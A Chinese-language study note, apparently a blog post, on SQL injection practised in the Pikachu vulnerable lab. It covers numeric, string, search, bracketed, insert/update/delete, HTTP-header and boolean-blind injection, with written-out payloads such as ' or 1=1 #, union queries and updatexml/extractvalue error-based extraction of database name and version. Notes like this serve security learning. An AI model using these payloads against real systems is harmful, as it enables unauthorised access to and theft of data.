sql注入

sql语句在哪里被注入:WEB 表单、cookie、输入参数等

注入点类型:数字、字符、搜索

思路:想象我们填入的参数,后台是怎么操作的,要在原本的sql语句上进行构造,达到闭合。

问题:pikachu抓包时,没有反应,但是应该是有的; 

解决:

因为我的代理设置有localhost为直连的,而且当时的pikachu地址是http://localhost/pikachu-master/vul/sqli/sqli_id.php,所以被白名单了;

然后我把pikachu的地址改为ip地址,就可以抓到了!(谁懂啊家人们

(一)数字型

(二)字符型

后台应该是select * from table where username=‘ xxx ’

拼接要注意用注释化   select * from table where username=‘ ‘所以可以填入  kobe’ or 1=1 #

后台是

(三)搜索型注入 (带% %)

模糊搜索

SELECT 字段 FROM 表 WHERE 某字段 LIKE 条件;

在这里应该是select username from user where username like ’%xxx%‘

例子:select * from user where username like '%李张%'; 

能 查出来包含 李张的内容。

后台是

like ’% name%‘  or 1=1 # %    (红色为填的部分)

(四)xx型注入 (带括号)

select uid and email from user where username=‘输入内容’ 

实际的sql语句是 where username=(‘$name’)

制造闭合:  name’) or 1=1 #

union联合查询

(注意:前面有2个字段,第二个select语句也要是2个字段) eg:可以查:database、user、version

order by

SELECT column1, column2, ...from table order by column1, column2, ... ASC|DESC;

(ORDER BY 1 表示 所select 的字段按第一个字段排序,所以order by的数字小于等于select的字段数;如果是直接具体是字段,则不一定要是select里面的字段)

基于函数报错的方式进行利用

一般就是 and updatexml()

eg:updatexml(1,concat(0x7e,version( ) ),0)会返回version信息

       updatexml(1,concat(0x7e,database( ) ),0)会返回数据库名字

 concat()是将传入的两个参数合并成一个字符串,再打印出来。eg:concat(0x7e,version())

extractvalue(1,concat(0x7e,version()))

select count(*),(floor(rand(0)*2)) as x from 表名 group by x

select 2 from (select count(*),concat(version(),floor))

(五)insert/update型注入

INSERT INTO table (`a`, `b`, `c`, ……) VALUES ('a', 'b', 'c', ……);

insert可用 or concat()作闭合

  insert into user(‘name’,‘pwd’,‘address’,‘tel’,‘info’)values(‘xiaohong’,‘1111’,1,2,3,)

  insert into user(‘name’,‘pwd’,‘address’,‘tel’,‘info’)values(‘xxx’ or updatexml(1,concat(0x7e,database()),0) or ’ ',‘1111’,1,2,3,)

UPDATE 表名 SET column_name=value [,column_name2=value2,...] [WHEREcondition];

eg:UPDATE `student` SET `studentname`='万进进',`email`='9724759@qq.com' WHERE studentno=1867;

这里的是 update 'user' set 'sex'='man', 'tel'='1222'  where name='lucy';

xxx’ or updatexml(1,concat(0x7e,database()),0) or ’

制造闭合:update 'user' set 'sex'='
man' or updatexml(1,concat(0x7e,database()),0) or ' ', 'tel'='1222'  where name='lucy';

(六)delete型注入

delete from 'message_table' WHERE id=1;

deletefrom 'message_table' where id= 1 or updatexml(1,concat(0x7e,database()),0) 

要对代码进行编辑,所以要抓包; 这个id改完不可以直接用,还要选中进行url解码;

(七)http header 型注入

HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入

firefox' or updatexml(1,concat(0x7e,database()),0) or '

(八)盲注(based on boolian:在前端只能看到真或者假的信息,看不到别的东西,所以处理时,也要处理为真/假)

what:屏蔽错误消息信息

 substr()

ascii()

ascii()的结果是数字,所以可以进行计算;顺便往判断真假方向调整:eg ascii()>100

可以弄盲注自动化测试,确认字符;

可以用length()计算sql的字符串的长度

也可以用‘kobe’and 1=1 和‘kobe’and 1=2 来看kobe到底存在与否

(九)盲注(based on time)

(十)宽字节注入

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值